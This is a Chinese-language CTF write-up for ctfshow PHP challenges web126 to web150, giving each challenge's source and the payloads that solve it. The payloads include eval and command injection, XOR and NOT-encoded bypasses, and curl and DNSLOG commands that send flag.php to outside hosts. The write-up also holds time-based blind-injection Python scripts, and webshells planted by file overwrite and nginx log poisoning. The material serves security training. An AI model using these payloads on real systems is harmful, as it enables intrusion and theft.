web126 原始信息 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
解题 GET: ?a=1000 +fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str ($a [1 ]) a=1000 +fl0g=flag_give_me parse_str ($a [1 ])fl0g='flag_give_me' fl0g==="flag_give_me
web127 原始信息 error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
解题 首先看看没封禁的ascii有哪些:
[空格],%,&,=,?,| 0,1,2,3,4,5,6,7,8,9 A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
waf唯独能包含上面的字符,超出则直接截断。
extract ($_GET );$ctf_show ==='ilove36d' ;GET:?ctf show=ilove36d
web128 原始信息 error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
解题 没过滤的ascii:
[' ' , '!' , '"' , '#' , '$' , '%' , '&' , "'" , '(' , ')' , '*' , '+' , ',' , '-' , '.' , '/' , ':' , ';' , '<' , '=' , '>' , '?' , '@' , '[' , '\\' , ']' , '^' , '_' , '`' , '{' , '|' , '}' , '~' ]
这是个无参调用
小知识点: _ ()是一个函数 _ ()==gettext () 是gettext ()的拓展函数,开启text扩展(gettext)。 需要php扩展目录下有php_gettext.dll get_defined_vars ()函数get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag payload: ?f1=_&f2=get_defined_vars
web129 原始信息 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
解题 目录穿越漏洞
?f=../ctfshow/../../../../../../../var /www/html/flag.php
web130 原始信息 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
解题
web131 原始信息 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
解题 懂了,出题人喜欢36D(doge)
使用下面这个生成字符,并且放到post进行溢出攻击即可。
这是正则表达式溢出攻击。
echo str_repeat ('very' , '250000' ).'36Dctfshow' ;
具体参照:https://www.laruence.com/2010/06/08/1579.html
web132 原始信息 网站是一个模板博客网站,使用扫站扫出了一些东西:
/robots.txt 内容: Disallow: /admin
前往/admin得到:
include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
解题 此处引用某大佬博客
https://www.cnblogs.com/hurry-up/p/10220082.html
对于“与”(**&&) 运算: x && y 当 x为 false时,直接跳过,不执行 y; 对于“或”( ||) 运算 : x||y 当 x为 true时,直接跳过,不执行 y**。
if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" );?code=admin&password=1 &username=admin
web133 原始信息 error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
解题 带外访问
在burp当作左上角 “BURP” =>“Burp Collaborator客户端”
在这客户端内:协助者有效负载生成 =>复制到剪贴板
url在浏览器进行如下访问:
?F=`$F `;+curl -X POST -F xx=@flag.php http: uljnf26qzf4lmzmqgxfzhfeleck28r.burpcollaborator.net => 刚刚从剪贴板获取到的东西
访问后,再在那个客户端点击:“现在轮询”,找到http包找回显即可得到flag
关于命令的解释
eval (substr ($F ,0 ,6 ));传入`$F `;+curl -X...; 相当于: ``$F `;+curl -X` 个人理解: `$F `;+ =>刚刚好6 字符,后面都以``的形式执行。 ``==shell_exec (); ?F=`$F `;+curl -X POST -F xx=@flag.php http: 参照博客: https: https:
web134 原始信息 highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
解题 覆盖POST数组
GET: ?_POST[key1]=36 d&_POST[key2]=36 d
web135 原始信息 error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
解题 其它什么的先不说,先看官方给的WP:
`$F `;+ping `cat flag.php|awk 'NR==2' `.6 x1sys.dnslog.cn
让后……
在DNSLOG以及相关的网站死活带外不出去……
别提有多裂开了。
看了下解题的视频,有个比较灵活的大佬说可以修改文件或者复制文件读取,于是乎试验了下,踩了踩坑,才发现这个卡了我差不多几小时的题目是这么个玩法……
GET:?F=`$F `;+`cp flag.php flag.txt`
这个是做视频的前辈写的shell:
GET:?F=`$F `;+ping `nl flag.php|awk 'NR==16' |tr -cd "[a-z]" /"[0-9]" `.ske28a.dnslog.cn -c 1
web136 原始信息 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
解题 这个一个带waf的Linux shell,需要传入Linux命令读取其中的内容再返还到某个文件下载即可
因为限制了很多符号和执行函数,其中也包括了点,导致无法写成类似于.txt的形式进行在线访问。
最终只能无后缀下载。
GET: ?c=ls /|tee f 下载后打开文件: bin dev etc f149_15_h3r3 home lib media mnt opt proc root run sbin srv sys tmp usr var GET: ?c=cat /f149_15_h3r3|tee f 下载后打开文件: ctfshow{a8cfeb83-46f9-4d7c-877d-64a8bad084e4}
web137 原始信息 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
解题 单纯的函数调用,且是未新建类的函数的调用:
POST: ctfshow=ctfshow::getFlag
web138 原始信息 error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
解题 POST:ctfshow[0 ]=ctfshow&ctfshow[1 ]=getFlag
web139 原始信息 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
解题 看似完全一样,实际上却是限制了更多的命令。也就是说,上次的payload完全不能使用了。
此处要借用bash命令的执行进行时间盲注。
时间盲注很吃网络,网络不好说不定就直接寄了。
爆破目录
import requestsimport timeurl = "http://def032ca-7f20-4828-ae43-a5787b0f2394.challenge.ctf.show/?c=" payload = "if [ `ls / | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi" result = "Server Dir: " row = 6 length = 50 string = ['a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' , '_' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , '.' , '-' ] for r in range (1 ,row+1 ): r_flag = result[:] for c in range (1 ,length+1 ): flag = result[:] for s in string: time.sleep(0.5 ) target = url+payload.format (r,c,s) print ("\r" ,end='' ) print (payload.format (r,c,s)) try : requests.get(target,timeout=4 ) except : result+=s print (result) break if len (result) == len (flag): break if r_flag == result: break result += ' ' print (result)
爆破flag文件
import requestsimport timeimport binasciiurl = "http://71c7bd3e-2694-4723-8fe9-a648ef033a8d.challenge.ctf.show/?c=" payload = "if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi" string = "ctfshow-0123456789_abdegijklmnpqruvxyz" result = "Server value: " row = 6 length = 100 status = 1 for r in range (1 ,row+1 ): r_flag = result[:] for c in range (8 ,length+1 ): flag = result[:] for s in string: time.sleep(0.5 ) p = payload.format (r,c,s) target = url+p print (p,'\t' ,s) try : requests.get(target,timeout=4 ) except : result+=s print (result) break if len (result) == len (flag): result += ' ' if r_flag == result: break if status == 1 : break result += ' ' print (result)
就是耗时有点长……
因为是依赖网络的,所以说,如果出现误差了就多跑几次吧。反正数值也不超100字符。
web140 原始信息 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
解题 思路大概清晰了,字符回显或者无回显,传入小写或者数字的字符串。
参数可控。
POST: f1=system&f2=phpinfo POST: f1=usleep&f2=usleep POST: f1=system&f2=system POST: f1=printf &f2=printf POST: f1=usleep&f2=usleep POST: f1=assert&f2=assert
web141 原始信息 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
解题 自己做的 解题的方法: 1.利用eval 进行命令执行。 2.利用反URL取反绕过正则表达式对字母数字下划线的限制,实现任意命令执行: 原理: 设置好的字符 =浏览器自动URL编码=> [云] =浏览器自动URL解码=> 服务器接收 如果是已经URL编码 =直接传递信息=> 服务器放出信息 =浏览器自动URL编码=> [云] =浏览器自动URL解码=> 客户端收 PHP执行: echo (urlencode(~'var_dump' )); => %89%9E%8D%A0%9B%8A%92%8Fecho (urlencode(~'system' )); => %8C%86%8C%8B%9A%92echo (urlencode(~'ls' )); => %93%8Cecho (urlencode(~'cat flag.php' )); => %9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8FGET:?v1=10&v2=0&v3=-(~%89%9E%8D%A0%9B%8A%92%8F)((~%8 C%86 %8 C%8 B%9 A%92 )(~%93 %8 C)); =相当于=> -(var_dump(system('ls' ))); return : flag.php index.php GET:?v1=10&v2=0&v3=-(~%89%9E%8D%A0%9B%8A%92%8F)((~%8 C%86 %8 C%8 B%9 A%92 )(~%9 C%9 E%8 B%DF%99 %93 %9 E%98 %D1%8 F%97 %8 F)); =相当于=> -(var_dump(system('cat flag.php' ))); return :<?php /* */ $flag ="ctfshow{14125187-c0ec-4296-b3ea-fd0266036b9d}" ;
官方视频分析+自己分析的 原理: phpinfo(); ==> 可以执行 1+phpinfo()+1;==> 也可执行 1+('phpinfo' )()+1;==> 依然可执行 异或:XOR,^ 1111 1010 %fa 1000 1010 %8a ------------- 0111 0000 %70 1111 1010 %fa 1001 0010 %92 ------------ 0110 1000 %68 $ php -r "echo urldecode('%fa%fa')^urldecode('%8a%92');" ph 利用php脚本,跑出的能显示的ascii码二进制在8bit当中也全是首位0 当首位大于1时,必定是大于ascii码的。
php脚本:
<?php while (true ) { echo "Please give me the key string: " ; $a = rtrim (fgets (STDIN), "\r\n" ); echo 'value: (' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo urlencode (urldecode ('%fa' ) ^ urldecode ('%' . bin2hex ($a [$i ]))); } echo '^' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo '%fa' ; } echo ')' . PHP_EOL; }
php脚本跑出的关键函数名以及命令:
Please give me the key string: phpinfo value: (%8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa) Please give me the key string: system value: (%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa) Please give me the key string: ls value: (%96%89^%fa%fa) Please give me the key string: cat flag.php value: (%99%9B%8E%DA%9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)
payload:
GET: ?v1=1 &v2=2 &v3=*(%8 A%92 %8 A%93 %94 %9 C%95 ^%fa%fa%fa%fa%fa%fa%fa)()* return : 正常回显phpinfoGET: ?v1=1 &v2=2 &v3=*(%89 %83 %89 %8 E%9 F%97 ^%fa%fa%fa%fa%fa%fa)(%96 %89 ^%fa%fa)* return : 正常回显phpinfoGET: ?v1=1 &v2=2 &v3=*(%89 %83 %89 %8 E%9 F%97 ^%fa%fa%fa%fa%fa%fa)(%99 %9 B%8 E%DA%9 C%96 %9 B%9 D%D4%8 A%92 %8 A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)* return : 正常回显flag,不过还是藏在源码当中。
题外小解:跑出来的可以明文的ascii所对应的二进制值
00100000 20 00100001 ! 21 00100010 " 22 00100011 # 23 00100100 $ 24 00100101 % 25 00100110 & 26 00100111 ' 27 00101000 ( 28 00101001 ) 29 00101010 * 2a 00101011 + 2b 00101100 , 2c 00101101 - 2d 00101110 . 2e 00101111 / 2f 00110000 0 30 00110001 1 31 00110010 2 32 00110011 3 33 00110100 4 34 00110101 5 35 00110110 6 36 00110111 7 37 00111000 8 38 00111001 9 39 00111010 : 3a 00111011 ; 3b 00111100 < 3c 00111101 = 3d 00111110 > 3e 00111111 ? 3f 01000000 @ 40 01000001 A 41 01000010 B 42 01000011 C 43 01000100 D 44 01000101 E 45 01000110 F 46 01000111 G 47 01001000 H 48 01001001 I 49 01001010 J 4a 01001011 K 4b 01001100 L 4c 01001101 M 4d 01001110 N 4e 01001111 O 4f 01010000 P 50 01010001 Q 51 01010010 R 52 01010011 S 53 01010100 T 54 01010101 U 55 01010110 V 56 01010111 W 57 01011000 X 58 01011001 Y 59 01011010 Z 5a 01011011 [ 5b 01011100 \ 5c 01011101 ] 5d 01011110 ^ 5e 01011111 _ 5f 01100000 ` 60 01100001 a 61 01100010 b 62 01100011 c 63 01100100 d 64 01100101 e 65 01100110 f 66 01100111 g 67 01101000 h 68 01101001 i 69 01101010 j 6a 01101011 k 6b 01101100 l 6c 01101101 m 6d 01101110 n 6e 01101111 o 6f 01110000 p 70 01110001 q 71 01110010 r 72 01110011 s 73 01110100 t 74 01110101 u 75 01110110 v 76 01110111 w 77 01111000 x 78 01111001 y 79 01111010 z 7a 01111011 { 7b 01111100 | 7c 01111101 } 7d 01111110 ~ 7e
web142 原始信息 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
解题 看起来,只需要传入一个数字即可解决问题
在网页源代码当作查看flag即可。
web143 原始信息 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
解题 没被过滤的ASCII如下:
[空格] ! " # ' ( ) * , / : < = > ? @ [ \ ] ^ `
使用异或绕过即可
具体参照web141
GET: ?v1=1 &v2=2 &v3=*(%89 %83 %89 %8 E%9 F%97 ^%fa%fa%fa%fa%fa%fa)(%99 %9 B%8 E%DA%9 C%96 %9 B%9 D%D4%8 A%92 %8 A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)* return : 正常回显flag,不过还是藏在源码当中。
web144 原始信息 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
解题 原理和141,143差不多,这里不赘述,上payload:
GET: ?v1=1 &v3=2 &v2=*(%89 %83 %89 %8 E%9 F%97 ^%fa%fa%fa%fa%fa%fa)(%99 %9 B%8 E%DA%9 C%96 %9 B%9 D%D4%8 A%92 %8 A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa) return : 正常回显flag,不过还是藏在源码当中。
web145 原始信息 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
解题 没过滤的ascii:
' ( ) , : = ? [ \ ] ` { | ~ |
考点:
使用 按位取反运算符 翻转字符串
使用换行绕过php的is_numeric
使用三元表达式 (a?b:c) 绕过无法输入加减乘除符号的限制
payload: ?v1=%0 a1&v2=%0 a0&v3=?(~%89 %9 E%8 D%A0%9 B%8 A%92 %8 F)((~%8 C%86 %8 C%8 B%9 A%92 )(~%9 C%9 E%8 B%DF%99 %D5)):
web146 原始信息 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
解题 没过滤的ascii:
' ( ) , = ? [ \ ] ` { | ~ |
根据上一题,多了个 “:” 的过滤,使用 或运算符绕过,payload几乎不变:
payload: ?v1=%0 a1&v2=%0 a0&v3=|(~%89 %9 E%8 D%A0%9 B%8 A%92 %8 F)((~%8 C%86 %8 C%8 B%9 A%92 )(~%9 C%9 E%8 B%DF%99 %D5))|
web147 原始信息 highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
解题 使用命名空间解决字母数字的过滤问题,使用匿名函数去调用和执行php代码
命名空间: 命名空间(Namespace)是一种用于组织和管理代码的机制。它通过给不同的代码元素(如类、函数、常量)指定一个唯一的标识符前缀,避免了命名冲突和命名污染。
命名冲突: 当在同一作用域中引入了具有相同名称的多个代码元素(如变量、函数、类等),就会发生命名冲突。
命名污染: 命名污染是指由于引入外部代码或不规范的命名管理导致当前代码作用域中的命名冲突或混乱的现象。
匿名函数: create_function(a,b)创建匿名函数,参数a可以省略,函数b不能省略。
$func = create_function ('' , 'phpinfo();' );$func ();namespace MyProject \SubNamespace ;
payload:
GET: ?show=;};system ('grep flag flag.php' );
官方的注释贴这了:
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
web148 原始信息 include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
解题
思路:传入code,尝试使用特殊符号调用get_ctfshow_fl0g
函数读取flag
首先写一个辅助脚本跑出没被过滤的ascii码,看看有没有利用价值:
import repattern = r'[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+' AllAscii = [] for item in range (32 ,128 ): if not (re.findall(pattern, chr (item))): AllAscii.append(chr (item)) print (AllAscii)
跑出来的ascii码是:
['!' , '"' , '#' , '$' , '(' , ')' , '/' , ';' , '<' , '=' , '>' , '?' , '[' , ']' , '^' , '`' , '{' , '}' , '\x7f' ]
没有过滤这么多字符,考虑使用异或绕过无字母无数字的情况:
脚本还是原来的那个脚本,源头在web141那儿.脚本内容以及运行如下:
<?php while (true ) { echo "Please give me the key string: " ; $a = rtrim (fgets (STDIN), "\r\n" ); echo 'value: ' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo urlencode (urldecode ('%fa' ) ^ urldecode ('%' . bin2hex ($a [$i ]))); } echo '^' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo '%fa' ; } echo '' . PHP_EOL; }
运行:
$ php web141.php Please give me the key string:
输入对应的关键字符即可得到答案。
下面是关于这个脚本的实际测试,后面就是实际的调试了。
# win11的git窗口就是下面这种,别误会哈。 $ php web141.php Please give me the key string: phpinfo value: %8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa Please give me the key string: system value: %89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa Please give me the key string: ls value: %96%89^%fa%fa Please give me the key string: highlight_file value: %92%93%9D%92%96%93%9D%92%8E%A5%9C%93%96%9F^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa Please give me the key string: flag.php value: %9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa Please give me the key string:
把这些东西实际的代入到网站传参当中:
get: ?code=("%8A%92%8A%93%94%9C%95" ^"%fa%fa%fa%fa%fa%fa%fa" )(); return : 正确的返回PHPinfo的内容。get: ?code=("%89%83%89%8E%9F%97" ^"%fa%fa%fa%fa%fa%fa" )("%96%89" ^"%fa%fa" ); return : index.php flag.phpget: ?code=("%92%93%9D%92%96%93%9D%92%8E%A5%9C%93%96%9F" ^"%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa" )("%9C%96%9B%9D%D4%8A%92%8A" ^"%fa%fa%fa%fa%fa%fa%fa%fa" ); return : 返回flag文件的内容,得到flag
官方WP # payload ?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); 预期解是使用中文 ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET
三个大括号的骚姿势官方视频也没有讲:face_with_thermometer: 顶不住顶不住……后面再查资料吧。
web149 原始信息 error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
解题 读懂这段代码的时候,作为一个会写脚本的小子说实在有点傻眼,但猜到这应该是新题型后就释然了。
全程其实有用的有且只有一句话:
file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);
其他部分的内容传递的只有一句话:如果当前文件夹下有任何不是名为index.php的文件,就立刻马上删除掉。
既然如此,那么只能覆盖掉index.php的内容了。
# 第一阶段,直接覆盖: Get: ?ctf=index.php Post: show=<?php eval($_POST[1])?> # 第二阶段,读取文件读取flag: Post: 1=system('ls /'); bin ctfshow_fl0g_here.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var Post: 1=system('cat /ctfshow_fl0g_here.txt'); ctfshow{118b5b79-6d03-4f36-b170-db143609c12e}
web150 原始信息 include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
解题 这里仅分析最核心的部分,不做全代码分析,节省代码审计时间:
$key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
个人愚见,伪协议是必须依赖一个关键符号 ":"
才能顶得住的,如果不存在则应是直接不支持伪协议。
这里尝试导入了下 /etc/passwd
成功导入文件内容,尝试着去搞文件包含漏洞。
这里因为get数组会解析为变量, $isVIP
通过这种方式传个1进去即可。第二个参数则需要考虑环境。
这里分析下得到的 /etc/passwd
文件的内容:
root:x:0:0:root:/root:/bin/ash ...#中间部分省略,重点看末尾#.... nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
中间件支持是nginx而不是Apache,可以尝试利用NGINX的日志包含去写入一句话木马进行控制:
GET: ?isVIP=1 User-Agent: <?=eval ($_POST [1]);?> POST: ctf==/var/log/nginx/access.log&1=var_dump($GLOBALS );
观察题目可以得出,flag这个变量已经被读取到了PHP环境当中,只需要调用 $GLOBALS
读取出来即可。
或者有需要读取源文件的可以改一下参数的内容:
GET: ?isVIP=1 User-Agent: <?=eval($_POST[1]);?> ctf=/var/log/nginx/access.log&1=show_source('flag.php');
UA这种东西最好在BP加进去。
官方WP 文件包含非预期绕过
